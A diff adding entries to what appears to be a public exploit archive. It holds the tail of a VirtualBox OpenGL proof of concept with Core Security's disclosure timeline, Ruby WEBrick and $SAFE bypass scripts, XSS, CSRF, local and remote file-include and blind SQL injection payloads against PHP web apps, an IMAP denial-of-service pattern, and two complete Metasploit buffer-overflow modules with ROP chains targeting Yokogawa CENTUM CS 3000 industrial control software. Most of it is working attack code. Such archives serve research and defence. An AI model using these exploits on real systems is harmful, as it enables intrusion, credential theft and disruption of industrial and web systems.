+        printf("[!] Unknown option %d.\n", option);
+    }
+
+    /* Disconnect from the VBoxSharedCrOpenGL service */
+    do_disconnect(hDevice, u32ClientID);
+    CloseHandle(hDevice);
+}
+
+
+
+
+int main(int argc, char* argv[])
+{
+    if (argc < 2){
+        printf("Usage: %s <option number>\n\n", argv[0]);
+        printf("* Option 1: trigger the vulnerability in the
+crNetRecvReadback function.\n");
+        printf("* Option 2: trigger the vulnerability in the
+crNetRecvWriteback function.\n");
+        printf("* Option 3: trigger the vulnerability in the
+crServerDispatchVertexAttrib4NubARB function.\n");
+        exit(1);
+    }
+    poc(atoi(argv[1]));
+}
+     
+-----/
+
+
+8. *Report Timeline*
+. 2014-02-11:
+Core Security Technologies notifies the VirtualBox team of the
+vulnerability.
+Publication date is set for March 4th, 2014.
+
+
+. 2014-02-12:
+
+Vendor acknowledges the receipt of the information. Vendor asks to
+coordinate
+the release for April 15, 2014 which is the earliest possible date for
+publishing
+this issue from Oracle.
+
+
+. 2014-02-12:
+
+Core schedules the advisory publication for April 15, 2014 and asks
+for regular status reports.
+
+
+. 2014-03-04:
+
+First release date missed.
+
+
+. 2014-03-07:
+
+Vendor releases fixes of some affected versions [3][4].
+        
+
+. 2014-03-07:
+
+Core notifies that, given that some patches were disclosed,
+the advisory will we released as user release ASAP.
+
+
+. 2014-03-07:
+
+Vendor asks for delaying the advisory publication given that
+some versions are still vulnerable.
+
+
+. 2014-03-10:
+
+Core notifies that the advisory is going to be published because
+once the fixes have been made public the vulnerability is public as well.
+
+
+. 2014-03-10:
+
+Vendor notifies that they will not include credit to Core researchers
+given that the advisory is being published before a fix is available to
+all affected versions.
+
+
+. 2014-03-11:
+
+Advisory CORE-2014-0002 published as user release.
+
+
+
+9. *References*
+
+[1] http://chromium.sourceforge.net/
+[2] http://chromium.sourceforge.net/doc/howitworks.html
+[3] https://www.virtualbox.org/changeset/50441/vbox
+[4] https://www.virtualbox.org/changeset/50437/vbox
+
+
+10. *About CoreLabs*
+
+CoreLabs, the research center of Core Security Technologies, is charged
+with anticipating
+the future needs and requirements for information security technologies.
+We conduct our research in several important areas of computer security
+including system vulnerabilities, cyber attack planning and simulation,
+source code auditing, and cryptography. Our results include problem
+formalization, identification of vulnerabilities, novel solutions and
+prototypes for new technologies. CoreLabs regularly publishes security
+advisories, technical papers, project information and shared software
+tools for public use at:
+http://corelabs.coresecurity.com.
+
+
+
+11. *About Core Security Technologies*
+
+
+Core Security Technologies enables organizations to get ahead of threats
+with security test and measurement solutions that continuously identify
+and demonstrate real-world exposures to their most critical assets. Our
+customers can gain real visibility into their security standing, real
+validation of their security controls, and real metrics to more
+effectively secure their organizations.
+
+
+
+Core Security's software solutions build on over a decade of trusted
+research and leading-edge threat expertise from the company's Security
+Consulting Services, CoreLabs and Engineering groups. Core Security
+Technologies can be reached at +1 (617) 399-6980 or on the Web at:
+http://www.coresecurity.com.
+
+
+
+12. *Disclaimer*
+
+
+The contents of this advisory are copyright
+(c) 2014 Core Security Technologies and (c) 2014 CoreLabs,
+and are licensed under a Creative Commons
+Attribution Non-Commercial Share-Alike 3.0 (United States) License:
+http://creativecommons.org/licenses/by-nc-sa/3.0/us/
+
+
+13. *PGP/GPG Keys*
+
+
+This advisory has been signed with the GPG key of Core Security
+Technologies advisories
+team, which is available for download at
+http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
--- a/platforms/multiple/dos/32222.rb
+++ b/platforms/multiple/dos/32222.rb
@ -0,0 +1,26 @@
+source: http://www.securityfocus.com/bid/30644/info
+
+Ruby is prone to multiple vulnerabilities that can be leveraged to bypass security restrictions or cause a denial of service:
+
+- Multiple security-bypass vulnerabilities occur because of errors in the 'safe level' restriction implementation. Attackers can leverage these issues to make insecure function calls and perform 'Syslog' operations.
+
+- An error affecting 'WEBrick::HHTP::DefaultFileHandler' can exhaust system resources and deny service to legitimate users.
+
+- A flaw in 'dl' can allow attackers to call unauthorized functions.
+
+Attackers can exploit these issues to perform unauthorized actions on affected applications. This may aid in compromising the application and possibly the underlying computers. Attackers can also cause denial-of-service conditions.
+
+These issues affect Ruby 1.8.5, 1.8.6-p286, 1.8.7-p71, and 1.9 r18423. Prior versions are also vulnerable. 
+
+#-- Exploitable Server --
+# require 'webrick'
+# WEBrick::HTTPServer.new(:Port => 2000, :DocumentRoot => "/etc").start
+
+#-- Attack --
+require 'net/http'
+res = Net::HTTP.start("localhost", 2000) { |http|
+  req = Net::HTTP::Get.new("/passwd")
+  req['If-None-Match'] = %q{meh=""} + %q{foo="bar" } * 100
+  http.request(req)
+}
+p res
--- a/platforms/multiple/remote/32223.rb
+++ b/platforms/multiple/remote/32223.rb
@ -0,0 +1,20 @@
+source: http://www.securityfocus.com/bid/30644/info
+ 
+Ruby is prone to multiple vulnerabilities that can be leveraged to bypass security restrictions or cause a denial of service:
+ 
+- Multiple security-bypass vulnerabilities occur because of errors in the 'safe level' restriction implementation. Attackers can leverage these issues to make insecure function calls and perform 'Syslog' operations.
+ 
+- An error affecting 'WEBrick::HHTP::DefaultFileHandler' can exhaust system resources and deny service to legitimate users.
+ 
+- A flaw in 'dl' can allow attackers to call unauthorized functions.
+ 
+Attackers can exploit these issues to perform unauthorized actions on affected applications. This may aid in compromising the application and possibly the underlying computers. Attackers can also cause denial-of-service conditions.
+ 
+These issues affect Ruby 1.8.5, 1.8.6-p286, 1.8.7-p71, and 1.9 r18423. Prior versions are also vulnerable. 
+
+require 'dl'
+$SAFE = 1
+h = DL.dlopen(nil)
+sys = h.sym('system', 'IP')
+uname = 'uname -rs'.taint
+sys[uname]
--- a/platforms/multiple/remote/32224.rb
+++ b/platforms/multiple/remote/32224.rb
@ -0,0 +1,33 @@
+source: http://www.securityfocus.com/bid/30644/info
+  
+Ruby is prone to multiple vulnerabilities that can be leveraged to bypass security restrictions or cause a denial of service:
+  
+- Multiple security-bypass vulnerabilities occur because of errors in the 'safe level' restriction implementation. Attackers can leverage these issues to make insecure function calls and perform 'Syslog' operations.
+  
+- An error affecting 'WEBrick::HHTP::DefaultFileHandler' can exhaust system resources and deny service to legitimate users.
+  
+- A flaw in 'dl' can allow attackers to call unauthorized functions.
+  
+Attackers can exploit these issues to perform unauthorized actions on affected applications. This may aid in compromising the application and possibly the underlying computers. Attackers can also cause denial-of-service conditions.
+  
+These issues affect Ruby 1.8.5, 1.8.6-p286, 1.8.7-p71, and 1.9 r18423. Prior versions are also vulnerable. 
+
+class Hello
+ def world
+   Thread.new do
+     $SAFE = 4
+     msg = "Hello, World!"
+     def msg.size
+       self.replace self*10 # replace string
+       1 # return wrong size
+     end
+     msg
+   end.value
+ end
+end
+
+$SAFE = 1 # or 2, or 3
+s = Hello.new.world
+if s.kind_of?(String)
+ puts s if s.size < 20 # print string which size is less than 20
+end
--- a/platforms/php/webapps/32207.txt
+++ b/platforms/php/webapps/32207.txt
@ -0,0 +1,65 @@
+# Exploit Title		:GNUpanel 0.3.5_R4 - Multiple Vulnerabilities
+# Vendor Homepage	:http://wp.geeklab.com.ar/gl-en/gnupanel/
+# GNUPanel Version	:0.3.5_R4
+# Server			:Centos 6.4
+# Exploit Author	:Necmettin COSKUN =>@babayarisi
+# Blog				:http://www.ncoskun.com http://www.grisapka.org
+# Discovery date	:03/11/2014
+# CVE				:N/A
+ 
+GNUPanel is a hosting control panel for Debian. It is written in PHP and it is tailored to run on 32 and 64 bit Debian GNU/Linux web hosting servers.  
+Description
+================
+Stored XSS vulnerability
+ 
+Vulnerability
+================
+GNUPanel has a pure coded ticket support system   Comment "consultar" field is not ascaped so any 
+tags including script tags can be stored in them.
+customer client can send malicious ticket to reseller client
+reseller client can send malicious ticket to Server Admin
+ 
+Proof of concept
+================
+Go to Support tab and click > New Ticket 
+Set subject field Demo
+Set comment field "><script>alert("XSS");</script>
+Click Send.
+Go to Support tab and Click >Pending tickets
+Click read button  Bingo XSS ;)
+================
+ 
+Second one:
+CSRF vulnerability
+================
+ 
+Description
+================
+CSRF vulnerability in BP Group Documents 1.2.1
+ 
+Vulnerability
+================
+An unauthenticated user can cause a logged in user to create support ticket including
+malicious code.
+ 
+Proof of concept
+================
+<html>
+<body>
+<form id="baba" method="post" action="http://demo/gnupanel-reseller.php?seccion=tickets&plugin=enviar_ticket"> 
+<input name="asunto" size="45" value="Demo12" maxlength="254"> 
+<textarea name="consultar" rows="10" cols="50"><script>alert("XSS");</script>&lt;/textarea&gt;
+<input name="ingresando" value="1" type="hidden"> 
+<input name="resetea" value="Reset" type="reset">
+<input name="agrega" value="Send" type="submit"> 
+</form>
+<script
+type="text/javascript">document.getElementById("baba").submit();
+</script>
+</body>
+</html>
+================
+  
+Discovered by:
+================
+Necmettin COSKUN  |GrisapkaGuvenlikGrubu|4ewa2getha!
--- a/platforms/php/webapps/32213.txt
+++ b/platforms/php/webapps/32213.txt
@ -0,0 +1,46 @@
+CVE: 	CVE-2014-1222
+Vendor: 	Vtiger
+Product: 	CRM
+Affected version: 	Vtiger 5.4.0, 6.0 RC & 6.0.0 GA
+Fixed version: 	Vtiger 6.0.0 Security patch 1
+Reported by: 	Jerzy Kramarz
+Details:
+
+A local file inclusion vulnerability was discovered in the ‘kcfinder’ component of the vtiger CRM 6.0 RC. This could be exploited to include arbitrary files via directory traversal sequences and subsequently disclose contents of arbitrary files.
+
+The following request is a Proof-of-Concept for retrieving /etc/passwd file from remote system.
+
+POST /vtigercrm6rc2/kcfinder/browse.php?type=files&lng=en&act=download HTTP/1.1
+Host: 192.168.56.103
+Proxy-Connection: keep-alive
+Content-Length: 58
+Cache-Control: max-age=0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Origin: http://192.168.56.103
+User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
+Content-Type: application/x-www-form-urlencoded
+DNT: 1
+Referer: http://192.168.56.103/vtigercrm6rc2/kcfinder/browse.php
+Accept-Encoding: gzip,deflate,sdch
+Accept-Language: en-US,en;q=0.8,es;q=0.6,pl;q=0.4
+Cookie: PHPSESSID=ejkcv9cl3efa861460ufr39hl2; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off
+
+dir=files&file=/../../../../../../../../../../../etc/passwd
+
+Note: In order to exploit this vulnerability an attacker has to be authenticated.
+Impact:
+
+This vulnerability gives an attacker the ability to read local files from the server filesystem.
+Exploit:
+
+Exploit code is not required.
+
+Vendor status:
+23/12/2013 	Advisory created
+03/01/2014 	Vendor contacted
+14/01/2014 	CVE obtained
+27/01/2014 	Vendor contact reattempted
+10/02/2014 	Vendor working on a fix
+12/02/2014 	Fix released
+13/02/2014 	Fix confirmed
+11/03/2014 	Published
--- a/platforms/php/webapps/32215.txt
+++ b/platforms/php/webapps/32215.txt
@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/30620/info
+
+RMSOFT Downloads Plus is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
+
+An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
+
+Downloads Plus 1.5 and 1.7 are affected; other versions may also be vulnerable.
+
+http://www.example.com/modules/rmdp/search.php?key=">[XSS-code]&cat=0
--- a/platforms/php/webapps/32216.txt
+++ b/platforms/php/webapps/32216.txt
@ -0,0 +1,10 @@
+source: http://www.securityfocus.com/bid/30620/info
+ 
+RMSOFT Downloads Plus is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
+ 
+An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
+ 
+Downloads Plus 1.5 and 1.7 are affected; other versions may also be vulnerable.
+
+http://www.example.com/modules/rmdp/down.php?id=1">[XSS-code]
+http://www.example.com/modules/rmdp/down.php?com_mode=nest&com_order=1&id=1">[XSS-code]&cid=3#users 
--- a/platforms/php/webapps/32217.txt
+++ b/platforms/php/webapps/32217.txt
@ -0,0 +1,10 @@
+source: http://www.securityfocus.com/bid/30632/info
+
+Linkspider is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
+
+Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.
+
+Linkspider 1.08 is vulnerable; other versions may be affected as well. 
+
+http://www.example.com/links.php?_SERVER[DOCUMENT_ROOT]=http://www.example2.com
+http://www.example.com/links.inc.php?_SERVER[DOCUMENT_ROOT]=http://www.example2.com 
--- a/platforms/php/webapps/32218.txt
+++ b/platforms/php/webapps/32218.txt
@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/30635/info
+
+GooCMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.
+
+An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
+
+GooCMS 1.02 is vulnerable; other versions may also be affected. 
+
+http://www.example.com/index.php?task=comments&s=>?><ScRiPt%20%0a%0d>alert(123)%3B</ScRiPt> 
--- a/platforms/php/webapps/32219.txt
+++ b/platforms/php/webapps/32219.txt
@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/30642/info
+
+Kayako SupportSuite is prone to multiple input-validation vulnerabilities, including an SQL-injection issue, multiple cross-site scripting issues, and an HTML-injection issue. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.
+
+Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
+
+Versions prior to Kayako SupportSuite 3.30 are vulnerable. 
+
+http://www.example.com/visitor/index.php?_m=livesupport&_a=startclientchat&sessionid="%20onload%3dalert(document.cookie)%20style=%3d
--- a/platforms/php/webapps/32220.txt
+++ b/platforms/php/webapps/32220.txt
@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/30642/info
+ 
+Kayako SupportSuite is prone to multiple input-validation vulnerabilities, including an SQL-injection issue, multiple cross-site scripting issues, and an HTML-injection issue. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.
+ 
+Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
+ 
+Versions prior to Kayako SupportSuite 3.30 are vulnerable. 
+
+http://www.example.com/index.php?_m=news&_a=view&filter=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Ca%20href=%22
--- a/platforms/php/webapps/32221.txt
+++ b/platforms/php/webapps/32221.txt
@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/30642/info
+  
+Kayako SupportSuite is prone to multiple input-validation vulnerabilities, including an SQL-injection issue, multiple cross-site scripting issues, and an HTML-injection issue. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.
+  
+Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
+  
+Versions prior to Kayako SupportSuite 3.30 are vulnerable. 
+
+http://www.example.com/staff/index.php?_m=tickets&_a=ticketactions&action=delcflink&ticketid=1&customfieldlinkid=-99&#039;UNION SELECT IF(SUBSTRING(password,1, 1) = CHAR(50), BENCHMARK(1000000,MD5(CHAR(1))), null),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 FROMss_staff WHERE staffid=1/*
--- a/platforms/php/webapps/32226.txt
+++ b/platforms/php/webapps/32226.txt
@ -0,0 +1,7 @@
+source: http://www.securityfocus.com/bid/30659/info
+
+Datafeed Studio is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.
+
+An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible. 
+
+http://www.example.com/admin/bin/patch.php?INSTALL_FOLDER=[Evilc0dE] 
--- a/platforms/php/webapps/32227.txt
+++ b/platforms/php/webapps/32227.txt
@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/30660/info
+
+Datafeed Studio is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.
+
+An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
+
+Datafeed Studio 1.6.2 is vulnerable; other versions may also be affected.
+
+http://www.example.com/search.php?q="><script>alert("XSS")</script> 
--- a/platforms/php/webapps/32230.txt
+++ b/platforms/php/webapps/32230.txt
@ -0,0 +1,14 @@
+source: http://www.securityfocus.com/bid/30665/info
+
+PhPLinkExchange is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
+
+An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
+
+PhpLinkExchange 1.01 is vulnerable; other versions may also be affected.
+
+http://www.example.com/index.php?catid=[XSS]
+http://www.example.com/index.php?page=user_add&catid=[XSS]
+http://www.example.com/index.php?page=recip&catid=[XSS]
+http://www.example.com/index.php?page=tellafriend&catid=[XSS]
+http://www.example.com/index.php?page=contact&catid=[XSS]
+http://www.example.com/index.php?page=tellafriend&id=[XSS] 
--- a/platforms/php/webapps/32231.txt
+++ b/platforms/php/webapps/32231.txt
@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/30673/info
+
+Meet#Web is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
+
+Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
+
+Meet#Web 0.8 is vulnerable; other versions may also be affected.
+
+ http://www.example.com/cms/meetweb/classes/modules.php?root_path=[SHell]
--- a/platforms/php/webapps/32232.txt
+++ b/platforms/php/webapps/32232.txt
@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/30673/info
+ 
+Meet#Web is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
+ 
+Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
+ 
+Meet#Web 0.8 is vulnerable; other versions may also be affected.
+
+http://www.example.com/cms/meetweb/classes/ManagerResource.class.php?root_path=[SHell]
--- a/platforms/php/webapps/32233.txt
+++ b/platforms/php/webapps/32233.txt
@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/30673/info
+  
+Meet#Web is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
+  
+Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
+  
+Meet#Web 0.8 is vulnerable; other versions may also be affected.
+
+http://www.example.com/cms/meetweb/classes/ManagerRightsResource.class.php?root_path=[SHell]
--- a/platforms/php/webapps/32234.txt
+++ b/platforms/php/webapps/32234.txt
@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/30673/info
+   
+Meet#Web is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
+   
+Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
+   
+Meet#Web 0.8 is vulnerable; other versions may also be affected.
+
+http://www.example.com/cms/meetweb/classes/RegForm.class.php?root_path=[SHell]
--- a/platforms/php/webapps/32235.txt
+++ b/platforms/php/webapps/32235.txt
@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/30673/info
+    
+Meet#Web is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
+    
+Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
+    
+Meet#Web 0.8 is vulnerable; other versions may also be affected.
+
+ http://www.example.com/cms/meetweb/classes/RegResource.class.php?root_path=[SHell]
--- a/platforms/php/webapps/32236.txt
+++ b/platforms/php/webapps/32236.txt
@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/30673/info
+     
+Meet#Web is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
+     
+Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
+     
+Meet#Web 0.8 is vulnerable; other versions may also be affected.
+
+http://www.example.com/cms/meetweb/classes/RegRightsResource.class.php?root_path=[SHell] 
--- a/platforms/windows/dos/32229.txt
+++ b/platforms/windows/dos/32229.txt
@ -0,0 +1,15 @@
+source: http://www.securityfocus.com/bid/30663/info
+
+hMailServer is prone to a remote denial-of-service vulnerability caused by large numbers of certain IMAP commands.
+
+Exploiting this issue will cause the server to crash and deny access to legitimate users.
+
+hMailServer 4.4.1 is vulnerable; other versions may also be affected.
+
+A01 CREATE AAAAA
+A02 CREATE AAAAAA
+A03 CREATE AAAAAAA
+...
+A97 RENAME AAAAA BBBBB
+A98 RENAME AAAAAA BBBBBB
+A100 RENAME AAAAAAA BBBBBBB 
--- a/platforms/windows/remote/32209.rb
+++ b/platforms/windows/remote/32209.rb
@ -0,0 +1,170 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = AverageRanking
+
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Exploit::Seh
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Yokogawa CENTUM CS 3000 BKHOdeq.exe Buffer Overflow',
+      'Description'    => %q{
+        This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability
+        exists in the service BKHOdeq.exe when handling specially crafted packets. This module has
+        been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3 and Windows
+        2003 SP2.
+      },
+      'Author'         =>
+        [
+          'juan vazquez',
+          'Redsadic <julian.vilas[at]gmail.com>'
+        ],
+      'References'     =>
+        [
+          [ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],
+          [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ]
+        ],
+      'Payload'        =>
+        {
+          'Space'       => 6000,
+          'DisableNops' => true,
+          'BadChars'    => ":\r\n"
+        },
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          [ 'Yokogawa CENTUM CS 3000 R3.08.50 / Windows [ XP SP3 / 2003 SP2 ]',
+            {
+              'Ret'    => 0x0042068e, # stackpivot from 2488 BKHOdeq.exe # ADD ESP,9B8 # RETN
+              'Offset' => 8660,
+              'StackPivotAdjustment' => 108
+            }
+          ]
+        ],
+      'DefaultOptions' =>
+        {
+          'EXITFUNC' => 'thread',
+          'WfsDelay' => 10
+        },
+      'DisclosureDate' => 'Mar 10 2014',
+      'DefaultTarget'  => 0))
+
+    register_options(
+      [
+        # Required for EIP offset
+        Opt::RPORT(20171)
+      ], self.class)
+  end
+
+  def check
+    # It forces an huge allocation, which should fail,
+    # and return back an error answer from the server
+    # while parsing the packet header.
+    pkt = build_pkt(0xffffffff)
+    res = send_pkt(pkt)
+    if valid_response?(res)
+      return Exploit::CheckCode::Detected
+    end
+
+    Exploit::CheckCode::Safe
+  end
+
+  def exploit
+    my_payload = payload.encoded
+    rop_chain = create_rop_chain
+
+    data = rand_text(target['StackPivotAdjustment'])
+    data << rop_chain
+    data << stack_adjust
+    data << my_payload
+    data << rand_text(target['Offset'] - data.length)
+    data << generate_seh_record(target.ret)
+
+    pkt = build_pkt(data.length, data)
+
+    print_status("Trying target #{target.name}, sending #{pkt.length} bytes...")
+    connect
+    sock.put(pkt)
+    disconnect
+  end
+
+  def build_pkt(data_length, data = "")
+    header = rand_text(4)             # iMark
+    header << [data_length].pack("N") # Data length
+    header << rand_text(4)            # NumSet
+    header << rand_text(2)            # req
+    header << rand_text(2)            # Unknown
+
+    pkt = header + data
+
+    pkt
+  end
+
+  def send_pkt(data)
+    connect
+    sock.put(data)
+    res = sock.get_once
+    disconnect
+
+    res
+  end
+
+  def valid_response?(data)
+    return false unless data
+    return false unless data.length == 4
+    return false unless result_code(data) == 0
+
+    true
+  end
+
+  def result_code(data)
+    data.unpack("N").first
+  end
+
+  def stack_adjust
+    adjust = "\x64\xa1\x18\x00\x00\x00"  # mov eax, fs:[0x18 # get teb
+    adjust << "\x83\xC0\x08"             # add eax, byte 8 # get pointer to stacklimit
+    adjust << "\x8b\x20"                 # mov esp, [eax] # put esp at stacklimit
+    adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
+
+    adjust
+  end
+
+  def create_rop_chain
+    # rop chain generated with mona.py - www.corelan.be
+    rop_gadgets =
+      [
+        0x63b27a60,  # RET # padding on XP SP3
+        0x63b27a60,  # RET # padding on XP SP3
+        0x63b27a5f,  # POP EAX # RETN [libbkhMsg.dll]
+        0x61e761e0,  # ptr to &VirtualAlloc() [IAT LibBKCCommon.dll]
+        0x61e641e4,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [LibBKCCommon.dll]
+        0x00405522,  # PUSH EAX # TEST EAX,C0330042 # POP ESI # ADD ESP,6D8 # RETN [BKHOdeq.exe]
+      ].flatten.pack("V*")
+    rop_gadgets << rand_text(1752) # Padding because of the "ADD ESP,6D8" instr
+    rop_gadgets << [
+        0x61e62aa4,  # POP EBP # RETN [LibBKCCommon.dll]
+        0x61e648c0,  # & push esp # ret  [LibBKCCommon.dll]
+        0x66f3243f,  # POP EBX # RETN [libBKBEqrp.dll]
+        0x00000001,  # 0x00000001-> ebx
+        0x61e729dd,  # POP EDX # MOV EAX,5E5FFFFF # RETN [LibBKCCommon.dll]
+        0x00001000,  # 0x00001000-> edx
+        0x63a93f6f,  # POP ECX # RETN [libbkhopx.dll]
+        0x00000040,  # 0x00000040-> ecx
+        0x63ad1f6a,  # POP EDI # RETN [libbkhOdeq.dll]
+        0x63dd3812,  # RETN (ROP NOP) [libbkhCsSrch.dll]
+        0x61e60b4c,  # POP EAX # RETN [LibBKCCommon.dll]
+        0x90909090,  # nop
+        0x63ae5cc3,  # PUSHAD # RETN [libbkhOdbh.dll]
+      ].flatten.pack("V*")
+
+    rop_gadgets
+  end
+
+end
--- a/platforms/windows/remote/32210.rb
+++ b/platforms/windows/remote/32210.rb
@ -0,0 +1,104 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::Remote::Tcp
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Yokogawa CENTUM CS 3000 BKBCopyD.exe Buffer Overflow',
+      'Description'    => %q{
+        This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability
+        exists in the service BKBCopyD.exe when handling specially crafted packets. This module has
+        been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3.
+      },
+      'Author'         =>
+        [
+          'juan vazquez',
+          'Redsadic <julian.vilas[at]gmail.com>'
+        ],
+      'References'     =>
+        [
+          [ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],
+          [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ]
+        ],
+      'Payload'        =>
+        {
+          'Space'          => 373, # 500 for the full RETR argument
+          'DisableNops'    => true,
+          'BadChars'       => "\x00\x0d\x0a\xff",
+          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff\xff\xff" # Stack adjustment # add esp, -3500 # double \xff char to put it on memory
+        },
+      'DefaultOptions' =>
+        {
+          'EXITFUNC' => 'thread',
+        },
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          [ 'Yokogawa CENTUM CS 3000 R3.08.50 / Windows XP SP3',
+            {
+              'Ret'    => 0x6404625d, # push esp # ret # libBKBUtil.dll]
+              'Offset' => 123
+            }
+          ],
+        ],
+      'DisclosureDate' => 'Mar 10 2014',
+      'DefaultTarget'  => 0))
+
+    register_options(
+      [
+        Opt::RPORT(20111)
+      ], self.class)
+  end
+
+  def check
+    pkt = build_probe
+    res = send_pkt(pkt)
+    if valid_response?(res)
+      return Exploit::CheckCode::Detected
+    end
+
+    Exploit::CheckCode::Safe
+  end
+
+
+  def exploit
+    data = "RETR "
+    data << rand_text(target['Offset'])
+    data << [target.ret].pack("V")
+    data << payload.encoded
+    data << "\n"
+
+    print_status("Trying target #{target.name}, sending #{data.length} bytes...")
+    connect
+    sock.put(data)
+    disconnect
+  end
+
+  def build_probe
+    "#{rand_text_alpha(10)}\n"
+  end
+
+  def send_pkt(data)
+    connect
+    sock.put(data)
+    data = sock.get_once
+    disconnect
+
+    return data
+  end
+
+  def valid_response?(data)
+    return false unless !!data
+    return false unless data =~ /500  'yyparse error': command not understood/
+    return true
+  end
+
+end